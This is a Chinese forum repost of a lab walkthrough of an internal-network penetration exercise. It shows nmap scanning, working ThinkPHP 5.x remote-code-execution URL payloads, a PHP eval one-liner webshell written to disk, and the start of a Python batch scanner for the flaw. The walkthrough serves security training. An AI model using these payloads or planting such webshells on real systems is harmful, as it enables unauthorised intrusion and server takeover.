搜索

[22195] 2021-07-29_一次简单的内网渗透靶场实战

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2021-07-29_一次简单的内网渗透靶场实战 0 x 0 1   前 言 前 言 0 x 0 2   环 境 搭 建 环 境 搭 建 一 次 简 单 的 内 网 渗 透 靶 场 实 战 L e m o n S e c   2 0 2 1 - 0 7 - 2 9 在 内 网 渗 透 的 过 程 中 思 路 才 是 最 重 要 的 ， 本 次 内 网 渗 透 的 主 机 虽 然 不 多 ， 主 要 还 是 锻 炼 自 己 内 网 渗 透 的 一 个 思 想 。 靶 场 ： 靶 场 ： w i n 7 ( 内 ) ： 1 9 2 . 1 6 8 . 1 3 8 . 1 3 6 w i n 7 ( 外 ) ： 1 9 2 . 1 6 8 . 1 0 . 2 5 域 内 主 机 ： 域 内 主 机 ： w i n 2 0 0 8 ： 1 9 2 . 1 6 8 . 1 3 8 . 1 3 8
0 x 0 3   w e b 服 务 器 渗 透 服 务 器 渗 透 n m a p 探 测 端 口 探 测 端 口 这 里 可 以 看 到 几 个 主 要 的 端 口 ， 例 如 8 0 、 1 3 5 、 1 3 9 、 4 4 5 ， 这 里 首 先 就 可 以 想 到 可 以 利 用 的 点 有 i p c 、 s m b n m a p   - T 4   - s C   - s V   1 9 2 . 1 6 8 . 1 0 . 2 5
开 了 8 0 端 口 ， 尝 试 访 问 w e b 地 址 ， 老 笑 脸 人 了 ， 而 且 还 是 5 . x 版 本 ， 洞 还 是 比 较 多
为 了 确 定 具 体 版 本 ， 这 里 先 使 用 报 错 查 看 ， 发 现 这 里 的 版 本 为 5 . 0 . 2 2 ， 如 果 没 记 错 的 话 这 里 是 有 一 个 t p 远 程 命 令 执 行 漏 洞 的 漏 洞 描 述 ： 漏 洞 描 述 ： 由 于 t h i n k p h p 对 框 架 中 的 核 心 R e q u e s t s 类 的 m e t h o d 方 法 提 供 了 表 单 请 求 伪 造 ， 该 功 能 利 用 $ _ P O S T [ ' _ m e t h o d ' ] 来 传 递 真 实 的 请 求 方 法 。 但 由 于 框 架 没 有 对 参 数 进 行 验 证 ， 导 致 攻 击 者 可 以 设 置 $ _ P O S T [ ' _ m e t h o d ' ] = ' _ _ c o n s t r u c t ' 而 让 该 类 的 变 量 被 覆 盖 。 攻 击 者 利 用 该 方 式 将 f i l t e r 变 量 覆 盖 为 s y s t e m 等 函 数 名 ， 当 内 部 进 行 参 数 过 滤 时 便 会 进 行 执 行 任 意 命 令 。
t h i n k p h p   g e t s h e l l 这 里 我 首 先 在 k a l i 里 面 找 一 下 有 没 有 相 关 的 漏 洞 可 以 看 到 这 里 有 一 个 5 . x 远 程 执 行 漏 洞 ， 这 里 直 接 进 入 这 个 文 件 夹 查 看 一 下 t x t 列 出 来 的 p a y l o a d s e a r c h s p l o i t   t h i n k p h p c d   / u s r / s h a r e / e x p l o i t d b / e x p l o i t s / p h p / w e b a p p s c a t   4 6 1 5 0 . t x t
找 到 对 应 版 本 后 f u z z 以 下 p a y l o a d ， 这 个 是 列 出 数 据 库 名 字 ， 这 里 看 到 数 据 库 名 为 r o o t 这 个 p a y l o a d 应 该 是 列 出 数 据 库 密 码 ， 但 是 这 里 没 有 打 出 来 1 9 2 . 1 6 8 . 1 0 . 2 5 / t h i n k p h p / p u b l i c / ? s = . | t h i n k c o n f i g / g e t & n a m e = d a t a b a s e . u s e r n a m e 1 9 2 . 1 6 8 . 1 0 . 2 5 / t h i n k p h p / p u b l i c / ? s = . | t h i n k c o n f i g / g e t & n a m e = d a t a b a s e . p a s s w o r d
这 里 打 出 p h p i n f o 传 参 看 一 下 当 前 权 限 为 a d m i n i s t r a t o r 1 9 2 . 1 6 8 . 1 0 . 2 5 / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = p h p i n f o & v a r s [ 1 ] [ ] = 1 1 9 2 . 1 6 8 . 1 0 . 2 5 / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = w h o a m i
看 一 下 i p 情 况 ， 双 网 卡 ， 那 么 大 概 率 有 域 环 境 看 一 下 进 程 ， 发 现 无 杀 软 那 么 尝 试 不 用 免 杀 直 接 写 w e b s h e l l 这 里 直 接 尝 试 e c h o 写 一 个 一 句 话 木 马 进 去 ， 这 里 因 为 之 前 查 看 过 没 有 杀 软 跟 安 全 狗 ， 这 里 就 不 需 要 做 免 杀 处 理 这 里 用 d i r 验 证 一 下 是 否 写 入 成 功 1 9 2 . 1 6 8 . 1 0 . 2 5 / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = i p c o n f i g 1 9 2 . 1 6 8 . 1 0 . 2 5 / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = t a s k l i s t   / s v c 1 9 2 . 1 6 8 . 1 0 . 2 5 / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = e c h o   " < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ; ? > "   >   c o n n e c t . p h p
使 用 蚁 剑 连 接 成 功 1 9 2 . 1 6 8 . 1 0 . 2 5 / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = s y s t e m & v a r s [ 1 ] [ ] = d i r
t h i n k p h p 批 量 检 测 批 量 检 测 这 里 我 思 考 了 一 个 问 题 ， t h i n k p h p 的 版 本 这 么 多 ， 如 果 k a l i 里 面 的 漏 洞 库 没 有 ， 而 在 搜 索 引 擎 上 去 搜 索 又 太 耗 费 时 间 ， 有 没 有 一 个 批 量 检 测 t h i n k p h p 漏 洞 的 脚 本 呢 ？ 这 里 我 找 到 了 一 个 t h i n k p h p 漏 洞 批 量 检 测 的 脚 本 #   ! / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - #   n a m e :   t h i n k p h p 远 程 代 码 检 测 #   d e s c r i p t i o n :   T h i n k P H P 5   5 . 0 . 2 2 / 5 . 1 . 2 9   远 程 代 码 执 行 漏 洞 i m p o r t   r e i m p o r t   s y s i m p o r t   r e q u e s t s i m p o r t   q u e u e i m p o r t   t h r e a d i n g f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p c l a s s   t h i n k p h p _ r c e ( t h r e a d i n g . T h r e a d ) :         d e f   _ _ i n i t _ _ ( s e l f ,   q ) :                 t h r e a d i n g . T h r e a d . _ _ i n i t _ _ ( s e l f )                 s e l f . q   =   q         d e f   r u n ( s e l f ) :                 w h i l e   n o t   s e l f . q . e m p t y ( ) :                         u r l = s e l f . q . g e t ( )                         h e a d e r s   =   { " U s e r - A g e n t " : " M o z i l l a / 5 . 0   ( M a c i n t o s h ;   U ;   I n t e l   M a c   O S   X   1 0 _ 6 _ 8 ;   e n - u s )   A p p l e W e b K i t / 5 3 4 . 5 0   ( K H T M L ,   l i k e   G e c k o )   V e r s i o n / 5 . 1   S a f a r i / 5 3 4 . 5 0 " }                         p a y l o a d   =   r " / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = p h p i n f o & v a r s [ 1 ] [ ] = 1 "                         v u l n u r l   =   u r l   +   p a y l o a d                         t r y :                                 r e s p o n s e   =   r e q u e s t s . g e t ( v u l n u r l ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 3 ,   v e r i f y = F a l s e ,  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理